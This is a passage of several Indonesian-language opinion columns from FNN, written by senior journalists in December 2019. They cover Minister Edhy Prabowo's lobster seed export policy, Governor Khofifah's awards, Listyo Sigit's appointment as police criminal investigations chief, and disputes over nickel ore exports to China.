cukup panjang waktu untuk belajar caranya menggelembungkan kekayaan versi Wiranto. Nanti bisa kita sebut “Wirantonomic” atau “Wirofulusology”. Penulis wartawan senior.

Sukses Edhy Prabowo Selamatkan Benih Lobster dan Nelayan

Oleh Mochamad Toha Jakarta, FNN - Presiden Joko Widodo tidak salah saat memutuskan memilih Edhy Prabowo sebagai Menteri di Kementerian Kelautan dan Perikanan (KKP). Belum genap dua bulan menjabat menteri, kementerian yang dipimpinnya sudah memberikan “surprise”. Bersama Pusat Pelaporan Analisis dan Transaksi Keuangan (PPATK) dengan Badan Reserse dan Kriminal Mabes Polri, KKP mencatat ada aliran dana dari hasil penyelundupan ekspor benur lobster yang mencapai Rp 900 miliar. Kepala PPATK Kiagus Ahmad Badaruddin mengungkapkan, pihaknya bersama KKP dan Bareskrim bekerja sama guna mengungkap kasus penyelundupan dalam satu tahun ada aliran dana dari luar negeri yang digunakan mendanai pengepul. Kabarnya, dana untuk membeli benur tangkapan nelayan lokal itu mencapai Rp 300 miliar hingga Rp 900 miliar. Modus yang digunakan pelaku itu melibatkan sindikat internasional. Sumber dana berasal dari bandar di luar negeri yang dialirkan ke pengepul di Indonesia. “Jadi aliran dana dari kegiatan penyelundupan lobster ini bisa mencapai Rp 900 miliar, uangnya itu besar dan melibatkan antar negara,” ujar Kiagus dalam konferensi pers Refleksi Akhir Tahun di Kantor PPATK, Jakarta, Jumat (13/12/2019). Ia mengungkapkan, penyelundupan ekspor ini menggunakan tata cara pencucian uang dan melibatkan beberapa usaha. Sehingga, banyak pihak yang terlibat dalam kegiatan tersebut dengan melakukan penyamaran. Mereka ini menggunakan kegiatan usaha valuta asing (PVA) atau money changer sebagai perantara transaksi antara sindikat yang berada di luar negeri dengan pelaku di Indonesia. “Kemudian penggunaan rekening pihak ketiga,” ungkap Kiagus. “Antara lain, toko mainan perusahaan pemilik usaha garmen dan perusahaan ekspor ikan dalam menampung dana yang berasal dari luar negeri,” lanjutnya. Dampak dari eksploitasi sumber daya kelautan dan perikanan khususnya lobster yang tidak sesuai peraturan bisa berakibat semakin menurunnya ekspor lobster dari Indonesia ke luar negeri. Penyelundupan ini dapat menimbulkan kerugian negara yang signifikan atau mengurangi penerimaan negara dan mengancam kelestarian sumber daya lobster di Indonesia. Inilah dampak dari pelarangan ekskpor benih lobster. Makaya, Menteri Edhy Prabowo berencana kembali membuka keran ekspor benih lobster yang dilarang oleh menteri sebelumnya, Susi Pudjiastuti. Wacana Edhy itu menimbulkan banyak polemik. Dari pengusaha mendukung, namun pengamat mengecam. Lantas, apa alasan Edhy membuka kembali keran ekspor benih lobster? Pertama, Edhy mengatakan bahwa banyak masyarakat yang hidupnya bergantung pada ekspor benih lobster. Sehingga, ketika ekspor dilarang, masyarakat tersebut kehilangan nafkahnya. “Ribuan orang yang hidupnya tergantung dengan ini, maka harus dicari jalan ke luar,” tutur Edhy di kantor Lemhannas, Jakarta, Rabu (11/12/2019). Kedua, kata Edhy, ekspor benih lobster memiliki nilai yang sangat besar. “Ini potensi dunia karena harganya sangat besar. Ini kan potensi, apa terus kita diamkan?” ujarnya. Ketiga, Edhy menuturkan, ketika Indonesia menghentikan ekspor benih lobster, negara lain tak tinggal diam. Upaya pelarangan tersebut dinilainya hanya memicu upaya penyelundupan. “Jangan asal memutuskan dengan alasan lingkungan. Sementara negara lain bisa melakukan ini dengan budidaya. Apakah kita akan diam?” lanjut Edhy. “Semua sumber itu ada di kita. Kita biarkan tetap akan ada penyelundupan. Apa kita akan menghabiskan energi kita untuk penyelundupan itu?” tegas Edhy. Menjawab isu lingkungan yang menyebutkan bahwa ekspor benih lobster hanya merusak kelestarian laut, Edhy menegaskan bahwa pihaknya akan tetap memegang prinsip bela lingkungan. “Makanya ada politik jalan tengah yang harus kita tempuh. Nggak bisa semuanya ngotot atas dasar lingkungan. Mengenai lingkungan Anda harus yakin bahwa saya memimpin KKP tidak untuk merusak lingkungan. Saya akan terdepan untuk membela lingkungan,” tegasnya. Menteri Koordinator Kemaritiman dan Investasi Luhut Binsar Pandjaitan juga setuju dengan pencabutan larangan ekspor benih lobster. Menurut Luhut ekspor benih lobster justru bagus karena kebanyakan benih lobster tidak tumbuh baik. Bahkan tidak sampai satu persen yang bisa hidup dan berkembang. “Saya kira bagus. Kalau nggak diambil benih lobsternya juga, yang hidup atau tumbuh kurang dari satu persen,” ujar Luhut di kantornya, Kamis (12/12/2019). Selain itu, Luhut menilai benih lobster lebih baik di ekspor, ketimbang selama ini banyak yang diselundupkan. Dia menegaskan paling penting dari kebijakan ekspor benih lobster ini adalah pengawasan yang ketat. “Daripada ini diselundupin, makanya dikontrol. Kan ujung-ujungnya pengawasan,” ungkap Luhut. Ia menambahkan, meski keran ekspor dibuka, tidak semua benih lobster dijual ke luar negeri semua. Sebagiannya akan dilepas ke alam liar. “Sebagian tetap dilepaskan 5% dari habitatnya agar terjaga. Sudah ada hitung-hitungan ilmiahnya lah, studinya sudah ada,” ungkap Luhut, seperti dilansir dari Detik.com, Kamis (12/12/2019) Ekspor benih lobster rencananya akan dibuka lagi oleh Menteri Edhy Prabowo. Sebelumnya Menteri Kelautan dan Perikanan era periode pertama Presiden Joko Widodo, Susi Pudjiastuti, melarang ekspor benih lobster. Revisi Kebijakan Ada beberapa kebijakan mantan pendahulunya itu yang akan direvisi Menteri Edhy Prabowo. Pasalnya, ia mengaku menerima banyak keluhan terkait kebijakan yang ada selama ini. Untuk itu dirinya akan melakukan revisi peraturan menteri warisan Susi Pudjiastuti. “Akan saya sampaikan setelah pada waktunya nanti, yang jelas ada rencana untuk merevisi demi kepentingan masyarakat, pembudidaya ikan, nelayan, petambak garam dan pembudaya lainnya,” ujarnya di Gedung DPR RI, Jakarta, Rabu (6/11/2019). Sepertinya akan ada lebih dari satu peraturan yang akan direvisi. Meski tak menyebutkan secara gamblang, Edhy mencontohkan peraturan yang selama ini dikeluhkan, misalnya terkait aturan penjualan kepiting yang harus memenuhi berat minimal 150 gram. Aturan itu tertuang dalam Surat Edaran Menteri Kelautan dan Perikanan Nomor 18 Tahun 2015 tentang Penangkapan Lobster, Kepiting, dan Rajungan. Ada kepiting harus 150 gram yang boleh dibawa. “Tapi ada kepiting budi daya yang soft shell (kepiting soka) itu tidak perlu sampai 150 gram sudah bisa dijual. Ini juga perlu kami kaji, nggak perlu lama-lama,” ungkap Emnteri Edhy Prabowo. Menurut Edhy, pengaturan batasan berat kepiting untuk dijual itu seharusnya dibedakan antara yang tangkap dan budi daya. Menurutnya untuk kepiting budi daya tidak perlu diatur. “Kalau alam mungkin boleh dapat perlakuan, tapi kan budi daya tidak. Ada kekhawatiran memang takut jadi modus, tapi loh kita kan ada alat kontrol. Sebelum dia diterbangkan ada surat dari karantina ada pengawasan dari PSDKP," terangnya. Selain itu, Edhy juga menyinggung soal aturan penggunaan alat tangkap ikan. Menurutnya selama ini aturan pelarangan penggunaan alat tangkap tertentu justru juga turut mematikan nelayan kecil. Edhy juga menyinggung soal kebijakan larangan alih muatan ikan (transhipment) di laut. Menurutnya, kebijakan itu mematikan pebudidaya ikan kerapu, lantaran tidak ada kapal yang mau mengangkut hasil budi dayanya. Ia sedang mengkaji dua kebijakan yang pernah dibuat menteri sebelumnya. Dua kebijakan tersebut yaitu larangan penggunaan alat tangkap ikan cantrang dan larangan transhipment atau alih muatan di tengah laut. “Dulu tangkap pakai cantrang enggak boleh dan melanggar. Lalu pakai pancing, tapi pancing bukan jala,” kata Edhy saat ditemui dalam pertemuan dengan para nelayan di Pelabuhan Perikanan Muara Angke, Jakarta Utara, Senin, 28 Oktober 2019. Sementara untuk transhipment, ia mengatakan sudah ada teknologi GPS real-time yang bisa melihat posisi kapal secara jelas. “Lu lagi ngapain di pinggir pantai itu pun kelihatan, sampe 30 senti pun kelihatan, jadi kalau orang ngangkat ikan mindahin ikan kelihatan,” katanya. Semoga upaya Menteri Edhy Prabowo menyelamatkan sumber daya kelautan dan perikanan khususnya lobster membuahkan hasil. Penulis wartawan senior.

Selamat, Beragam Penghargaan Diraih Gubernur Khofifah

Oleh Mochamad Toha Jakarta, FNN - GubernurJ Khofifah Indar Parawansa meraih penghargaan sebagai Pemimpin Perubahan dari Kementerian Pendayagunaan Aparatur Negara dan Reformasi Publik (KemenPAN RB). Ia menerima penghargaan tersebut bersama 13 pimpinan kementerian/ lembaga/pemda Penghargaan diserahkan langsung oleh Wapres RI Ma'ruf Amin didampingi MenPAN RB, Tjahjo Kumolo di Jakarta, Selasa (10/12/2019). Anugerah itu diperoleh, karena Khofifah dinilai memiliki komitmen besar dalam melakukan perubahan untuk menjaga tata kelola pemerintahan yang bersih, baik, transparan dan berhasil membangun zona integritas secara massif. Sehingga mendapatkan predikat Wilayah Bebas dari Korupsi (WBK) dan Wilayah Birokrasi Bersih Melayani (WBBM) untuk enam unit layanan yang sekaligus merupakan penerima penghargaan terbanyak dari seluruh pemerintah provinsi di Indonesia. WBK/WBBM merupakan predikat yang diberikan kepada unit-unit kerja pelayanan yang pimpinan dan jajarannya mempunyai komitmen kuat untuk memberantas korupsi serta peningkatan pelayanan melalui reformasi birokrasi. Pada 2019, Pemprov Jatim untuk pertama kalinya meraih penghargaan wilayah bebas korupsi (WBK) dari Kemenpan RB. Sedikitnya, enam unit kerja Pemprov Jatim berhak menyandang predikat WBK. Yakni: UPT Pengelolaan Pendapatan Daerah Jombang Badan Pendapatan Daerah Provinsi Jatim, UPT Pengujian Sertifikasi Mutu Barang dan Lembaga Tembakau Jember Disperindag Provinsi Jatim; UPT Pengawasan dan Sertifikasi Hasil Pertanian Dinas Pertanian dan Ketahanan Pangan Provinsi Jatim. Selanjutnya, UPT Pelayanan dan Perlindungan Tenaga Kerja Disnakertrans Provinsi Jatim, RSU Haji Surabaya, dan RSU Jiwa Menur Surabaya. Penghargaan ini merupakan buah dari komitmen Pemprov Jatim menciptakan tata kelola pemerintahan yang Cepat-Efektif-Efisien-Tanggap-Transparan-Akuntable-Responsive (CETTAR). “Saya ucapkan terima kasih kepada unit kerja yang berhasil meraih predikat WBK, semoga ini bisa memotivasi dan diikuti oleh unit kerja lainnya. Semoga masyarakat Jawa Timur makin mudah mengakses berbagai layanan publik,” ungkap Khofifah di Jakarta. Menurutnya, penghargaan WBK ini merupakan pencapaian yang monumental setelah kurang lebih 21 tahun reformasi. Oktober lalu Laporan Keuangan Pemprov Jatim juga mendapatkan predikat opini Wajar Tanpa Pengecualian (WTP) dari BPK. Khofifah mengatakan, “Raihan WBK ini berseiring dengan status WTP tersebut. Setelah ini Pemprov Jatim menargetkan predikat sebagai wilayah birokrasi bersih melayani (WBBM),” ujarnya. Nantinya enam unit kerja yang meraih WBK tersebut akan dijadikan contoh atau role model bagi instansi lainnya di lingkungan Pemprov Jatim. Khofifah juga berharap setelah ini seluruh unit kerja Pemprov Jatim menumbuhkan suasana kompetisi untuk bergerak menuju perubahan dan perbaikan menuju birokrasi yang lebih baik, lebih bersih, lebih cepat dan lebih berkualitas dari sisi pelayanan. Diakuinya, untuk meraih predikat penghargaan di bidang ini tidaklah mudah. Oleh karena itu, dibutuhkan manajemen dan kemauan untuk melakukan perubahan agar dapat meningkatkan kualitas pelayanan publik dan pemerintah yang bersih dan bebas KKN. “Dalam implementasi WBK, dibutuhkan komitmen dari semua pihak mulai kepala daerah beserta seluruh jajarannya. Yang ditunjang dengan manajemen perubahan, penataan tatalaksana, penataan sistem manajemen SDM, penguatan pengawasan, dan penguatan akuntabilitas kinerja,” paparnya. Khofifah yakin melalui penanaman nilai dan budaya kerja yang positif kepada aparatur di lingkungan Pemprov Jatim, akan mampu menciptakan tata kelola pemerintahan yang baik dan bersih (good and clean governance), sehingga kesejahteraan dapat dirasakan seluruh masyarakat Jatim. Sebelumnya, Gubernur Khofifah juga meraih dua penghargaan dalam acara Penganugerahaan Penghargaan Ormas Indonesia Maju atau Ormas Awards dari Kemendagri. Penghargaan itu langsung diserahkan oleh Mendagri Tito Karnavian. Dalam penganugerahan tersebut, Khofifah mewakili Pemprov Jatim dalam kategori Pemda Pembina Ormas Terbaik. Dia juga mewakili Muslimat Nahdlatul Ulama yang dianugerahi Penghargaan Khusus Bakti Sepanjang Masa untuk Indonesia. “Tepuk tangan dulu buat beliau karena sudah dapat penghargaan banyak sekali. Hari ini boyong dua, kemarin-kemarin sudah banyak,” ujar Tito usai menyerahkan penghargaan ke beberapa tokoh ormas di Hotel Kartika Chandra, Jakarta, Senin (25/11/2019). Tito berharap penghargaan tahunan bagi para ormas dapat memotivasi lembaga masyarakat sipil untuk berkarya dan memberi manfaat kepada masyarakat. “Satu peran penting dari civil society, ormas, salah satu wujud penyeimbang dominasi negara. Agar negara tidak semau-maunya, mulai dari planning, eksekusi, sampai dengan evaluasi,” ujarnya. Penghargaa juga diraih Gubernur Khofifah sebagai Gubernur/Kepala Pemerintahan Provinsi Terbaik, pada acara Kamar Dagang dan Industri (Kadin) Award 2019 yang digelar di The Westin Resort Nusa Dua Kuta Selatan Bali, Jumat (29/11/2019). Kegiatan yang digelar bersamaan Rapimnas Kadin 2019 merupakan ajang pemberian apresiasi kepada kepala daerah yang membantu percepatan ekonomi Indonesia serta mendukung program Kadin Indonesia maupun daerah. Penghargaan itu diserahkan oleh Rosan P. Roeslani sebagai Ketua Umum Kadin Indonesia serta disaksikan langsung Wapres Ma’ruf Amin, kepada Gubernur Jatim yang diwakili oleh Asisten Ekonomi Pembangunan Setda Provinsi Jatim Wahid Wahyudi. Khofifah mengaku bangga dan menyampaikan terimakasih dan apresiasinya kepada Kadin Indonesia atas penilaian yang sudah diberikan. Selain itu, pihaknya akan terus berkolaborasi dengan Kadin Jatim dalam upaya meningkatkan sektor industri dan perdagangan, melalui berbagai program unggulan. “Kami akan terus meningkatkan kolaborasi dengan para pengusaha di Jatim. Termasuk menggerakkan UMKM di berbagai bidang salah satunya dengan menggagas program One Pesantren One Product (OPOP, red) yang juga kami launching per hari ini,” ujarnya. Khofifah menambahkan, hubungan dan sinergitas yang baik antara pihaknya dengan Kadin Jatim bertujuan untuk meningkatkan perekonomian masyarakat Jatim. Dan penghargaan yang diterimanya merupakan salah satu bukti terciptanya relasi yang baik antara Pemprov Jatim dan Kadin. “Pada prinsipnya kami sangat ingin pengusaha lokal yang ada di Jatim bangkit, serta memiliki daya saing. Sehingga, pengusaha Jatim tidak akan menjadi penonton di daerahnya sendiri. Ini merupakan kewajiban kita bersama,” tegas Gubernur Khofifah. Ketua Tim Penilai Kadin Award 2019, Adri Istambul LG Sinulingga menyampaikan, bahwa aspek penilaian yang dilakukan bagi penerima Kadin Award 2019 mencakup beberapa hal. Salah satunya yaitu, keberpihakan kepala daerah kepada para pengusaha di daerahnya baik yang skala besar, menengah, kecil maupun mikro, termasuk koperasi. “Aspek penilaian yang kami lakukan pada Kadin Award 2019 ini yaitu dilihat dari integritas sebagai seorang kepala daerah. Tentunya juga dilihat dari keberpihakannya kepada para pengusaha di daerahnya,” terang Adri. Berdasarkan penilaian yang telah dilakukan tersebut, Gubernur Khofifah dinilai sangat layak mendapatkan anugerah Kadin Award. Apalagi, program-program terkait penguatan industri dan investasi yang dilakukan juga selalu melibatkan Kadin Jatim secara aktif. Baik di skala lokal, nasional maupun internasional. “Kami sudah melakukan penilaian pada 34 gubernur di Indonesia, dan Gubernur Khofifah sangat layak mendapatkan penghargaan Kadin Award 2019. Terlebih Kadin Jatim juga dilibatkan secara aktif pada setiap kerjasama industri dan investasi yang dilakukan oleh Provinsi Jatim,” urai Adri. Selain Gubernur Khofifah, penghargaan gubernur terbaik di wilayah tengah pada ajang Kadin Award 2019 ini juga diberikan pada 3 gubernur lainnya. Yaitu, Gubernur Jawa Barat Ridwan Kamil, Gubernur DKI Jakarta Anies Baswedan, serta Gubernur DI Jogjakarta Sri Sultan Hamengkubuwono X. Beragam perhargaan yang diterima Khofifah tersebut tentunya sebuah prestasi yang telah diukirnya, meski baru menjabat Gubernur Jatim. Selamat untuk warga Jatim! Penulis wartawan senior.

Jenderal Listyo Sigit, Kini Orang Kuat Baru di Polisi

Dengan posisinya sebagai orang kuat baru di polisi, mau digunakan Sigit untuk apa? Publik pasti menunggu. Semoga saja Sigit akan memimpin penegakan hukum yang tegak lurus? Hukum yang tegak tanpa pandang bulu. Hukum yang berdiri tanpa tebang pilih, atau sebaliknya pilih dulu baru tebang? Penegakan hukum yang tajam kepada semua anak bangsa. By Kisman Latumakulita Jakarta, FNN – Tadi pagi, Senin 16 Desember 2019, sekitar pukul 09.00 WIB, Kapolri Jendral Polisi Idham Azis resmi melantik Irjen Polisi Drs. Listyo Sigit Prabowo sebagai Kepala Badan Reserse Kriminal (Kabareskrim) Polisi yang baru. Peristiwa pelantikan perwira tinggi polisi yang bukan biasa-biasa. Sebab ini adalah pelantikan yang mengakhiri Power Struggle paling keras atas jabatan Kabareskrim yang lama kosong. Power Struggle atas jabatan Kabareskrim ini dapat disimpulkan sebagai yang terlama di Indonesia. Paling tidak, terlama selama sejak era reformasi. Power Struggle yang menyita waktu salama 46 hari, terhitung sejak Jenderal Idham Azis dilantik Presiden Joko Widodo sebagai Kapolri di Istana pada Jumat 1 November 2019. Dan akhirnya, Irjen Polisi Listyo Sigit yang keluar sebagai pemenang. Lamanya Power Struggle jabatan Kabareskrim ini mengalahkan rekor yang pernah terjadi sebelumnya. Power Struggle sebelumnya atas jabatan Panglima Komando Cadangan Strategis Angkatan Darat (KOSTRAD) di tahun 2014. Ketika itu Panglima KOSTRAD Letjen TNI Gatot Nurmantyo dilantik oleh Presiden SBY sebagai Kepala Staf TNI Angkatan Darat (KSAD) pada 25 Juli 2014. Gatot menggantikan pendahulunya Jenderal TNI Budiman . Gatot sudah menjadi KSAD definif sejak 25 Juli 2014, namun masih merangkap sebagai Panglima KOSTRAD selama 40 hari. Gatot baru melepaskan jabatan Panglima KOSTRAD pada 5 September 2014. Ketika itu Gatot digantikan oleh Pangdam Jaya Mayor Jenderal TNI Mulyono. Satu tahun kemudian, pada 15 Juli 2015 Letjen TNI Mulyono yang menggantikan Gatot sebagai KSAD, karena Gatot naik menjadi Panglima TNI Informasi tentang Irjen Listyo Sigit bakal mengisi jabatan Kabareskrim sudah beredar lama. Terutama setelah Presiden Joko Widodo secara resmi mengajukan nama Komjen Polisi Idham Azis ke DPR sebagai calon tunggal Kapolri pada Rabu 23 Oktober 2019. Namun Sigit baru bisa dilantik sebagai Kabareskrim 46 hari setelah Jenderal Idham Azis menjabat Kapolri. Jenderal Idham membutuhkan waktu yang lama, karena kuatnya Power Struggle di posisi Kabareskrim ini. Sehari setelah nama Komjen Idham Azis resmi diajukan sebagai calon Kapolri, pada Kamis malam 24 Oktober 2019, beta diajak ngopi-ngopi oleh teman, yang perwira tinggi polisi. Kami sepakat memilih tempat ngopi-ngopi di restoran Merah Delima, di daerah Jakarta Selatan. Lokasinya hanya berselahan jalan dengan Baharkam Mabes Polri di Jalan Trunojoyo. Sebagai wartawan, begitu ketemu di restoran, tempat kami janjian untuk ngopi-ngopi, beta langsung saja bertanya kepada teman polisi tersebut, “eh bro, siapa calon kuat Kabareskrim pengganti Pak Idham nanti”? Dijawab oleh teman yang jendral polisi, “yang paling kuat kemungkinan saja Kadiv Propam Polri Irjen Listyo Sigit”. Biasanya dipanggil teman-temannya dengan Sigit saja. Mendengar jawaban teman bahwa Sigit adalah calon paling kuat Kabareskrim, beta percaya saja bulat-bulat. Sebab sangat wajar kalau Sigit yang bakal menjadi Kabareskrim. Alasannya, karena Irjen Polisi Drs. Listyo Sigit Prabowo bukanlah perwira tinggi polisi yang biasa-biasa saja. Sigit adalah Jenderal polisi yang masuk katagori luar biasa. Sigit mempunyai kedekatan hubungan dengan Presiden Joko Widodo. Kedekatan itu juga sangat wajar. karena penugasan membawa Sigit untuk dekat dengan Presiden Joko Widodo. Sebab Sigit adalah ajudan pertama Pak Joko Widodo saat pertama kali menjabat presiden tahun 2014 lalu. Dengan posisinya sebagai ajudan presiden, otomatis Sigit menjadi satu diantara sedikit orang Indonesia yang bisa berada ring satu presiden. Ring satu adalah sebutan atau sandi untuk mereka yang kapan saja bisa berkumunikasi atau di dekat dengan presiden. Melekat dengan tugas-tugas presiden. Mereka menjadi orang kepercayaan presiden. Mereka juga menjadi mata dan telinga presiden ke luar. Kedekatan Sigit dengan Joko Widodo sudah terjalin jauh sebelum Pak Joko Widodo menjabat presiden pada Oktober 2014. Kedekatan ini, paling kurang sudah terjalin ketika Sigit menjabat sebagai Kapolres Kota Surakarta pada tahun 2011. Waktu itu Pak Joko Widodo menjabat sebagai Walikota Solo periode pertama. Hubungan antara Sigit dengan Pak Jokowi yang sudah terjalin Solo dulu itu, kembali berlanjut saat Pak Joko Widodo menjadi presiden. Apalagi Pak Joko Widodo memutuskan untuk memilih Komisaris Besar Polisi Drs. Listyo Sigit Prabowo sebagai ajudannya dari unsur polisi. Paling Berkuasa Jabatan Kabareskrim adalah jabatan yang paling penting dan strategis di Polisi. Otosmatis juga penting untuk ukuran di Indonesia. Jabatan karier di polisi yang sangat dicita-citakan oleh setiap perwira polisi lulusan Akademi Kepolisian (Akpol) dan Perguruan Tinggi Ilmu Kepolisian (PTIK). Kabareskrim adalah jabatan perwira tinggi bintang tiga yang sangat prestisius . Kabareskrim memilki kewenangan untuk bisa menahan orang tidak menahan orang. Jabatan ini bisa jadi lebih bergensi dari jabatan bintang tiga lain di polisi seperti Wakil Kepala Polri (Wakapolri) dan Inspektur Pengawan Umum (Irwasum) Polri. Setiap perwira polisi yang betugas di bidang reserse, wajar dan sangat wajar saja, kalau berharap kelak bisa dipercara presiden untuk menjadi Kabareskrim. Apalagi bagi perwira berpangkat Komisaris Besar (Kombes) Polisi yang sudah lulus Sekolah Staf dan Pimpinan Tingkat Tinggi (Sespimti) dan Lemhanas. Sebab Kabareskrim ini mempunyai power yang sangat besar dan luas. Saking bergensi dan prestisius jabatan Kabareskrim tetrsebut, pernah ada Kabareskrim yang menolak ketika ditawari oleh Kapolri untuk menjadi Wakapolri. Menurut pakar Hukum Tata Negara, Dr. Margarito Kamis menjadi polisi saja sudah sangat power full. Apalagi dipercaya menjadi Kabareskrim. Sebab di negeri ini, hanya instusi kepolisian yang mempunyai kekuasaan dan kewenangan sangat besar itu. Tidak ada institusi negara yang lain seperti polisi. Hanya lembaga kehakiman (peradilan) yang punya kewenangan dan kekuasaan mendekati institusi kepolisian. Itupun tidak power full seperti kepolisian. Kepolisian di Indonesia memiliki dua kekuasaan. Pertama, polisi punya kewenangan untuk menggunakan kekuasaan senjata api. Kedua, polisi juga punya kewenangan menggunakan kekuasaan hukum untuk menahan setiap orang yang dianggap melanggar hukum. Sedangkan lembaga peradilan, hanya memiliki kewenangan menggunakan kekuasaan hukum. Lembaga peradilan tidak mempunyai wewenang untuk menggunakan kekuasaan senjata api. Kabareskrim juga secara ex officio adalah kepala pembina dari reserse di seluruh Indonesia. Dengan segala kewenangan dan kekuasaan perundang-undangan yang melekat padahanya, Kabareskrim dapat saja membuat perintah untuk mengambil alih penyelidikan ddan penyididkan setiap perkara yang sedang ditangani oleh Polda. Begitu juga dengan alas an subjertif dan objektif, sebagai kepala penyidik, Kabareskrim dapat saja memberikan saran kepada penyidik untuk menahan seserang atau sebagaian orang yang telah ditetapkan sebagai tersangka. Sebaliknya, Kabareskrim juga bisa memberikan saran kepada penyidik untuk tidak menahan seseorang atau sebagian orang. Terserah pada Kabareskrim saja. kewenangan dan kekuasaan Kabareskrim menjadi sangat, sangat dan sangat power full. Dari sinilah, suka atau tidak suka, senang dan tidak senang, yang pasti Komisaris Jendral Polisi Drs. Listyo Sigit Prabowo hari ini adalah orang kuat baru di jajaran kepolisian. Apalagi Sigit memiliki kedekatan hubungan dengan pusat kekuasaan, yaitu Istana Negara. Dengan posisinya sebagai orang kuat baru di polisi tersebut, mau digunakan Sigit untuk apa? Apakah Sigit akan memimpin penegakan hukum yang tegak lurus? Hukum yang tegak tanpa pandang bulu. Hukum yang berdiri tanpa tebang pilih, atau sebaliknya pilih dulu baru tebang? Penegakan hukum yang tajam kepada semua anak bangsa. Penegakan hukum yang tidak hanya bisa tajam ke bawah, namun tumpul ke atas. Semuanya akan dikenang dan dicatat sebagai lembaran sejarah apa? Bisa sejarah hitam, bisa sejarah putih. Bisa menjadi catatan sejarah yang mengagumkan dan membanggakan? Namun sebaliknya, bisa juga menjadi catatan hukum yang menyedihkan kita sebagai anak bangsa? Seksesnya Sigit sebagai Kabareskrim nanti, bisa saja mengantarkan dia naik selangkah lagi menjadi Kapolri. Sebagai perwira tinggi polisi bintang tiga, tentu saja Sigit juga berpeluang untuk menggantikan Jendral Idham Azis yang akan pangsiong nanti sebagai anggota polisi pada akhir Januari 2021. Pak Idham tinggal 13 bulan setengah lagi menjadi anggota polisi. Wallaahu alam bishawab. Selamat bekerja Pak Kabareskrim. Semoga saja anda sukses di jabatan yang sangat prestisius, bergensi dan berkelas tersebut. Penulis adalah Wartawan Senior.

Cara Tiongkok Kuasai Nikel Indonesia (Sengkarut Nikel Bag-1)

By Luqman Ibrahim Soemay Jakarta, FNN – Sampai sekarang, ada tiga kapal pengangkut bijih nikel mentah (ore) ke luar negeri masih ditahan Kantor Unit Penyelenggara Pelabuhan Kelas III Pomala, Sulawesi Tenggara. Syahbandar Pomala menahan tiga kapal pengangkut nikel ore itu dengan alasan yang remeh-temeh, bahkan cendrung dibuat-buat. Apa saja kesalahan dari tiga kapal tersebut juga tidak dapat dijelaskan oleh Syahbandar Pomala. Pokoknya kapal tahan saja. Tidak boleh berlayar. Karakter umum para birokrasi Indonesia yang sudah punya stigma huebat. “Kalau bisa dipersulit, mengapa juga harus dipermudah?” Tiga kapal pengungkut bijih nikel mentah yang ditahan Syahbandar Pomala ini, bagian dari dua belas kapal yang dibolehkan mengangkut bijih nikel mentah sejak Agustus 2019 lalu. Kapal pengangkut pertama sampai kapal dengan ke sembilan tidak ada masalah. Kapal bisa berangkat aman-aman saja. Kapalnya sudah berangkat ke negara tujuan dengan selamat. Begitu sampai pada kapal ke sepuluh, sebela adan dua belas, mulai ada masalah. Hambatan datang dari Syahbandar Pomala sebagai penguasa pelabuhan. Ketiga kapal tersebut adalah MV Aqua Atlantic, MV Pan Begonia, dan KSL Deyang. Tiga kapal berbendera asing ini tidak mendapat izin berlayar dari Syahbandar Pomala sejak 30 Oktober 2019 lalu. Sampai sekarang tidak ada penjelasan, kapan Syahbandar Pomala mengeluarkan Surat Persetujuan Berlayar (SPB) untuk ketiga kapal itu. Setiap kapal rata-rata mengangkut bijih nikel mentah dengan kadar dibawah 1,7 sebanyak 50.000 ton. Jadi, tiga kapal yang ditahan tersebut diperkirakan mengangkut sekitar 150.000 ton bijih nikel mentah. Negara tujuan ekspor adalah Cina Tiongkok. Jika dihitung berdasarkan harga nikel di pasaran luar negeri sekarang, yaitu U$ 45 dollar per ton, maka nilai devisa setiap kapal adalah U$ 2.250.000 dollar. Dengan demikian, total nilai ekspor tiga kapal yang masih ditahan Syahbandar Pomala itu sebesar U$ 6.750.000 dollar. Bila dikalikan dengan kurs yang berlaku sekarang Rp 14.000 per dollar, maka nilai 150.000 ton nikel ore yang tidak bisa diangkut ke luar negeri itu sekitar Rp 94,5 miliar. Mungkin tak seberapa nilai ekspor tersebut. Cuma saja, bila ditelusuri lebih mendalam, banyak persoalan ada disana. Para mafia yang bekerja dibalik tertahannya tiga kapal pengangkut bijih nikel mentah ini. Akibat tertahannya tiga kapal itu, eksportir sebagai penyewa kapal harus membayar denda keterlambatan berangkat (demurrage) U$ 20.000 dollar setiap hari. Sampai dengan hari ini (Minggu 15/12) sudah 45 hari tiga itu kapal ditahan. Biaya yang dikeluarkan eksportir untuk membayar denda demurrage sebanyak U$ 90.000 dollar atau setara dengan Rp 12,6 miliar. Harga dan biaya kemahalan ini yang sebenarnya tidak perlu terjadi, jika mental birokrasi Indonesia sudah terbebas dari stigma huebat, “kalau bisa dipersulit, mengapa juga harus dipermudah?”. Apalagi kewajiban-kewajiban yang dibebankan negara kepada eksportir bijih nikel mentah sudah dilunasi semuanya. Kewajiban tersebut, antara lain royalty tambang nikel, dan PPH pasal 22. Selain itu, ada juga pembayaran bea keluar dan jasa kepelabuhanan. Ini juga sudah dilunasi. Apakah masalah selesai dengan semua pelunasan pengutan resmi itu? Tertnyata tidak juga. Monopoli Cina Tiongkok Pemerintah telah mengeluarkan izin untuk 30 lebih perusahaan pertambangan nikel. Mereka diwajibkan membangun pabrik pemurnian bijih nikel (smelter) di Indonesia . Namun dari jumlah itu, baru 9 perusahaan yang telah berproduksi di Indonesia.Tiga perusahaan itu, mayoritas sahamnya dimiliki perusahaan Cina Tiongkok. Tiga besar perusahaan Cina Tiongkok yang telah membangun smelter antara lain PT Sulawesi Mining Investment (SMI) di Kabupaten Morowali, Sulawesi Tengah. Selain itu, PT Virtu Dragon Nickel Industry (VDNI) yang berlokasi di Kabupaten Konawe, Sulawesi Tenggara. Satu lagi PT Weda Bay Nickel (WBN) di Kabupaten Halmahera Tengah, Maluku Utara. Setelah tiga pabrik smelter milik Cina Tiongkok ini beroperasi 100%, pemerintah mendadak merubah kebijakan larangan ekspor baji nikel mentah. Dari yang sebelumnya, larangan ekspor nikel ore baru berlaku efektif nanti tanggal 11 Januari tahun 2022. Kebijakan ini tertuang di Peraturan Menteri Energi dan Sumberdaya Mineral (ESDM) Nomor 25 Tahun 2018 Melalui Peraturan Menteri ESDM Nomor 11 Tahun 2019, larangan ekspor bijih nikel mentah dipercepat masa berlakunya. Dimajukan pemerintah dua tahun lebih cepat. Kebijakan yang sangat mendadak dan mengagetkan. Sehingga patut diduga pemerintah mengikuti maunya salah satu pemilik pabrik smelter yang sudah beroperasi dan 100% milik Cina Tiongkok. Tidak berhenti sampai disitu. Perkembangan terakhir, 